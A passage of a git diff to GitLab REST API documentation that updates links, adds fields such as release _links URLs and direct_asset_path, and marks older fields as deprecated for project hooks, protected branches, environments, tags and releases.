| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ### Get project hook @@ -2392,7 +2447,7 @@ GET /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|---------------------------| | `hook_id` | integer | **{check-circle}** Yes | The ID of a project hook. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```json { @@ -2413,6 +2468,10 @@ GET /projects/:id/hooks/:hook_id "deployment_events": true, "releases_events": true, "enable_ssl_verification": true, + "repository_update_events": false, + "alert_status": "executable", + "disabled_until": null, + "url_variables": [ ], "created_at": "2012-10-12T17:04:47Z" } ``` @@ -2427,7 +2486,7 @@ POST /projects/:id/hooks | Attribute | Type | Required | Description | |------------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `url` | string | **{check-circle}** Yes | The hook URL. | | `confidential_issues_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential issues events. | | `confidential_note_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential note events. | @@ -2456,7 +2515,7 @@ PUT /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | |------------------------------|----------------|------------------------|-------------| | `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `url` | string | **{check-circle}** Yes | The hook URL. | | `confidential_issues_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential issues events. | | `confidential_note_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential note events. | @@ -2486,7 +2545,7 @@ DELETE /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | Note the JSON response differs if the hook is available or not. If the project hook is available before it's returned in the JSON response or an empty response @@ -2506,7 +2565,7 @@ POST /projects/:id/fork/:forked_from_id | Attribute | Type | Required | Description | |------------------|----------------|------------------------|-------------| | `forked_from_id` | ID | **{check-circle}** Yes | The ID of the project that was forked from. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ### Delete an existing forked from relationship @@ -2516,7 +2575,7 @@ DELETE /projects/:id/fork | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ## Search for projects by name @@ -2546,7 +2605,8 @@ POST /projects/:id/housekeeping | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | +| `task` | string | **{dotted-circle}** No | `prune` to trigger manual prune of unreachable objects or `eager` to trigger eager housekeeping. | ## Push rules **(PREMIUM)** @@ -2561,7 +2621,7 @@ GET /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | ```json { @@ -2582,20 +2642,6 @@ GET /projects/:id/push_rule } ``` -Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) -can also see the `commit_committer_check` and `reject_unsigned_commits` -parameters: - -```json -{ - "id": 1, - "project_id": 3, - "commit_committer_check": false, - "reject_unsigned_commits": false - ... -} -``` - ### Add project push rule Adds a push rule to a specified project. @@ -2606,7 +2652,7 @@ POST /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------------------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `author_email_regex` | string | **{dotted-circle}** No | All commit author emails must match this, for example `@my-company.com$`. | | `branch_name_regex` | string | **{dotted-circle}** No | All branch names must match this, for example `(feature|hotfix)\/*`. | | `commit_committer_check` | boolean | **{dotted-circle}** No | Users can only push commits to this repository if the committer email is one of their own verified emails. | @@ -2629,7 +2675,7 @@ PUT /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------------------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `author_email_regex` | string | **{dotted-circle}** No | All commit author emails must match this, for example `@my-company.com$`. | | `branch_name_regex` | string | **{dotted-circle}** No | All branch names must match this, for example `(feature|hotfix)\/*`. | | `commit_committer_check` | boolean | **{dotted-circle}** No | Users can only push commits to this repository if the committer email is one of their own verified emails. | @@ -2655,7 +2701,7 @@ DELETE /projects/:id/push_rule | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ## Get groups to which a user can transfer a project @@ -2669,7 +2715,7 @@ GET /projects/:id/transfer_locations | Attribute | Type | Required | Description | |-------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | The group names to search for. | Example request: @@ -2714,7 +2760,7 @@ PUT /projects/:id/transfer | Attribute | Type | Required | Description | |-------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `namespace` | integer or string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. | Example request: @@ -2801,6 +2847,7 @@ Example response: "security_and_compliance_access_level": "enabled", "emails_disabled": null, "shared_runners_enabled": true, + "group_runners_enabled": true, "lfs_enabled": true, "creator_id": 2, "import_status": "none", @@ -2849,7 +2896,7 @@ Read more in the [Project vulnerabilities](project_vulnerabilities.md) documenta ## Get a project's pull mirror details **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/354506) in GitLab 15.5. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/354506) in GitLab 15.6. Returns the details of the project's pull mirror. @@ -2861,7 +2908,7 @@ Supported attributes: | Attribute | Type | Required | Description | |:----------|:------|:------------|:------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | Example request: @@ -2922,7 +2969,7 @@ POST /projects/:id/mirror/pull | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/mirror/pull" @@ -2949,14 +2996,17 @@ GET /projects/:id/snapshot | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `wiki` | boolean | **{dotted-circle}** No | Whether to download the wiki, rather than project, repository. | ## Get the path to repository storage > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29861) in GitLab 14.0. -Get the path to repository storage for specified project. Available for administrators only. +Get the path to repository storage for specified project if Gitaly Cluster is not being used. If Gitaly Cluster is being used, see +[Praefect-generated replica paths (GitLab 15.0 and later)](../administration/gitaly/index.md#praefect-generated-replica-paths-gitlab-150-and-later). + +Available for administrators only. ```plaintext GET /projects/:id/storage @@ -2964,7 +3014,7 @@ GET /projects/:id/storage | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```json [ diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 6b702ad7e03..5f6e03fde4d 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -27,7 +27,7 @@ GET /projects/:id/protected_branches | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `search` | string | no | Name or part of the name of protected branches to be searched for | ```shell @@ -83,7 +83,8 @@ Example response: ``` Users on GitLab Premium or higher also see -the `user_id` and `group_id` parameters: +the `user_id`, `group_id` and `inherited` parameters. If the `inherited` parameter +exists, means the setting was inherited from the project's group. Example response: @@ -111,7 +112,8 @@ Example response: } ], "allow_force_push":false, - "code_owner_approval_required": false + "code_owner_approval_required": false, + "inherited": true }, ... ] @@ -127,7 +129,7 @@ GET /projects/:id/protected_branches/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the branch or wildcard | ```shell @@ -206,7 +208,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla | Attribute | Type | Required | Description | | -------------------------------------------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the branch or wildcard | | `push_access_level` | integer | no | Access levels allowed to push (defaults: `40`, Maintainer role) | | `merge_access_level` | integer | no | Access levels allowed to merge (defaults: `40`, Maintainer role) | @@ -418,7 +420,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the branch | ## Update a protected branch @@ -437,7 +439,7 @@ curl --request PATCH --header "PRIVATE-TOKEN: <your_access_token>" "https://gitl | Attribute | Type | Required | Description | | -------------------------------------------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the branch | | `allow_force_push` | boolean | no | When enabled, members who can push to this branch can also force push. | | `code_owner_approval_required` **(PREMIUM)** | boolean | no | Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). Defaults to `false`. | diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md index ec0657148da..1ea3fc5adda 100644 --- a/doc/api/protected_environments.md +++ b/doc/api/protected_environments.md @@ -40,7 +40,7 @@ GET /projects/:id/protected_environments | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_environments/" @@ -77,7 +77,7 @@ GET /projects/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the protected environment | ```shell @@ -113,7 +113,7 @@ POST /projects/:id/protected_environments | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `name` | string | yes | The name of the environment. | | `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. | | `required_approval_count` | integer | no | The number of approvals required to deploy to this environment. | @@ -183,7 +183,7 @@ PUT /projects/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `name` | string | yes | The name of the environment. | | `deploy_access_levels` | array | no | Array of access levels allowed to deploy, with each described by a hash. | | `required_approval_count` | integer | no | The number of approvals required to deploy to this environment. | @@ -353,7 +353,7 @@ DELETE /projects/:id/protected_environments/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `name` | string | yes | The name of the protected environment. | ```shell diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md index 88b868a3965..633ca441fad 100644 --- a/doc/api/protected_tags.md +++ b/doc/api/protected_tags.md @@ -27,7 +27,7 @@ GET /projects/:id/protected_tags | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_tags" @@ -62,7 +62,7 @@ GET /projects/:id/protected_tags/:name | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the tag or wildcard | ```shell @@ -99,7 +99,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the tag or wildcard | | `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, Maintainer role) | | `allowed_to_create` | array | no | Array of access levels allowed to create tags, with each described by a hash of the form `{user_id: integer}`, `{group_id: integer}`, or `{access_level: integer}` | @@ -133,5 +133,5 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the tag | diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index d5d858c1647..f23f2b36ed0 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -36,19 +36,24 @@ GET /projects/:id/releases | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `order_by` | string | no | The field to use as order. Either `released_at` (default) or `created_at`. | | `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | -If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +If successful, returns [`200 OK`](../../api/rest/index.md#status-codes) and the following response attributes: -| Attribute | Type | Description | -|:---------------------|:--------|:------------------------------------- | -| `[]._links` | object | Links of the release. | -| `[]._links.self` | string | HTTP URL of the release. | -| `[]._links.edit_url` | string | HTTP URL of the release's edit page. | +| Attribute | Type | Description | +|:--------------------------------------|:-------|:-------------------------------------------------| +| `[]._links` | object | Links of the release. | +| `[]._links.closed_issues_url` | string | HTTP URL of the release's closed issues. | +| `[]._links.closed_merge_requests_url` | string | HTTP URL of the release's closed merge requests. | +| `[]._links.edit_url` | string | HTTP URL of the release's edit page. | +| `[]._links.merged_merge_requests_url` | string | HTTP URL of the release's merged merge requests. | +| `[]._links.opened_issues_url` | string | HTTP URL of the release's open issues. | +| `[]._links.opened_merge_requests_url` | string | HTTP URL of the release's open merge requests. | +| `[]._links.self` | string | HTTP URL of the release. | Example request: @@ -153,14 +158,14 @@ Example response: "id":2, "name":"awesome-v0.2.msi", "url":"http://192.168.10.15:3000/msi", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" }, { "id":1, "name":"awesome-v0.2.dmg", "url":"http://192.168.10.15:3000", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ], @@ -237,8 +242,13 @@ Example response: } ], "_links": { - "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", - "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + "closed_issues_url": "https://gitlab.example.com/root/awesome-app/-/issues?release_tag=v0.1&scope=all&state=closed", + "closed_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=closed", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit", + "merged_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=merged", + "opened_issues_url": "https://gitlab.example.com/root/awesome-app/-/issues?release_tag=v0.1&scope=all&state=opened", + "opened_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=opened", + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1" } } ] @@ -256,18 +266,23 @@ GET /projects/:id/releases/:tag_name | Attribute | Type | Required | Description | |----------------------------| -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The Git tag the release is associated with. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | -If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +If successful, returns [`200 OK`](../../api/rest/index.md#status-codes) and the following response attributes: -| Attribute | Type | Description | -|:------------------|:--------|:------------------------------------- | -| `_links` | object | Links of the release. | -| `_links.self` | string | HTTP URL of the release. | -| `_links.edit_url` | string | HTTP URL of the release's edit page. | +| Attribute | Type | Description | +|:--------------------------------------|:-------|:-------------------------------------------------| +| `[]._links` | object | Links of the release. | +| `[]._links.closed_issues_url` | string | HTTP URL of the release's closed issues. | +| `[]._links.closed_merge_requests_url` | string | HTTP URL of the release's closed merge requests. | +| `[]._links.edit_url` | string | HTTP URL of the release's edit page. | +| `[]._links.merged_merge_requests_url` | string | HTTP URL of the release's merged merge requests. | +| `[]._links.opened_issues_url` | string | HTTP URL of the release's open issues. | +| `[]._links.opened_merge_requests_url` | string | HTTP URL of the release's open merge requests. | +| `[]._links.self` | string | HTTP URL of the release. | Example request: @@ -371,7 +386,7 @@ Example response: "id":3, "name":"hoge", "url":"https://gitlab.example.com/root/awesome-app/-/tags/v0.11.1/binaries/linux-amd64", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ] @@ -383,8 +398,13 @@ Example response: "collected_at": "2019-07-16T14:00:12.256Z" }, "_links": { - "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", - "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + "closed_issues_url": "https://gitlab.example.com/root/awesome-app/-/issues?release_tag=v0.1&scope=all&state=closed", + "closed_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=closed", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit", + "merged_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=merged", + "opened_issues_url": "https://gitlab.example.com/root/awesome-app/-/issues?release_tag=v0.1&scope=all&state=opened", + "opened_merge_requests_url": "https://gitlab.example.com/root/awesome-app/-/merge_requests?release_tag=v0.1&scope=all&state=opened", + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1" } ] } @@ -397,14 +417,15 @@ Example response: Download a release asset file by making a request with the following format: ```plaintext -GET /projects/:id/releases/:tag_name/downloads/:filepath +GET /projects/:id/releases/:tag_name/downloads/:direct_asset_path ``` | Attribute | Type | Required | Description | |----------------------------| -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The Git tag the release is associated with. | -| `filepath` | string | yes | Path to the release asset file as specified when [creating](links.md#create-a-release-link) or [updating](links.md#update-a-release-link) its link. | +| `filepath` | string | yes | Deprecated: Use `direct_asset_path` instead. | +| `direct_asset_path` | string | yes | Path to the release asset file as specified when [creating](links.md#create-a-release-link) or [updating](links.md#update-a-release-link) its link. | Example request: @@ -453,7 +474,7 @@ POST /projects/:id/releases | Attribute | Type | Required | Description | | -------------------| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `name` | string | no | The release name. | | `tag_name` | string | yes | The tag where the release is created from. | | `tag_message` | string | no | Message to use if creating a new annotated tag. | @@ -463,15 +484,16 @@ POST /projects/:id/releases | `assets:links` | array of hash | no | An array of assets links. | | `assets:links:name`| string | required by: `assets:links` | The name of the link. Link names must be unique within the release. | | `assets:links:url` | string | required by: `assets:links` | The URL of the link. Link URLs must be unique within the release. | -| `assets:links:filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). -| `assets:links:link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. +| `assets:links:filepath` | string | no | Deprecated: Use `direct_asset_path` instead. | +| `assets:links:direct_asset_path` | string | no | Optional path for a [direct asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). | +| `assets:links:link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | | `released_at` | datetime | no | Date and time for the release. Defaults to the current time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Only provide this field if creating an [upcoming](../../user/project/releases/index.md#upcoming-releases) or [historical](../../user/project/releases/index.md#historical-releases) release. | Example request: ```shell curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \ - --data '{ "name": "New release", "tag_name": "v0.3", "description": "Super nice release", "milestones": ["v1.0", "v1.0-rc"], "assets": { "links": [{ "name": "hoge", "url": "https://google.com", "filepath": "/binaries/linux-amd64", "link_type":"other" }] } }' \ + --data '{ "name": "New release", "tag_name": "v0.3", "description": "Super nice release", "milestones": ["v1.0", "v1.0-rc"], "assets": { "links": [{ "name": "hoge", "url": "https://google.com", "direct_asset_path": "/binaries/linux-amd64", "link_type":"other" }] } }' \ --request POST "https://gitlab.example.com/api/v4/projects/24/releases" ``` @@ -572,7 +594,7 @@ Example response: "id":3, "name":"hoge", "url":"https://gitlab.example.com/root/awesome-app/-/tags/v0.11.1/binaries/linux-amd64", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ], @@ -603,7 +625,7 @@ POST /projects/:id/releases/:tag_name/evidence | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The Git tag the release is associated with. | Example request: @@ -630,7 +652,7 @@ PUT /projects/:id/releases/:tag_name | Attribute | Type | Required | Description | | ------------- | --------------- | -------- | ----------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The Git tag the release is associated with. | | `name` | string | no | The release name. | | `description` | string | no | The description of the release. You can use [Markdown](../../user/markdown.md). | @@ -739,7 +761,7 @@ DELETE /projects/:id/releases/:tag_name | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The Git tag the release is associated with. | Example request: diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md index 732f5ea57ef..74f6b1c9efa 100644 --- a/doc/api/releases/links.md +++ b/doc/api/releases/links.md @@ -23,7 +23,7 @@ GET /projects/:id/releases/:tag_name/assets/links | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | --------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The tag associated with the Release. | Example request: @@ -40,14 +40,14 @@ Example response: "id":2, "name":"awesome-v0.2.msi", "url":"http://192.168.10.15:3000/msi", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" }, { "id":1, "name":"awesome-v0.2.dmg", "url":"http://192.168.10.15:3000", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ] @@ -63,7 +63,7 @@ GET /projects/:id/releases/:tag_name/assets/links/:link_id | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | --------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The tag associated with the Release. | | `link_id` | integer | yes | The ID of the link. | @@ -80,7 +80,7 @@ Example response: "id":1, "name":"awesome-v0.2.dmg", "url":"http://192.168.10.15:3000", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ``` @@ -93,14 +93,15 @@ Creates an asset as a link from a release. POST /projects/:id/releases/:tag_name/assets/links ``` -| Attribute | Type | Required | Description | -|-------------|----------------|----------|---------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or 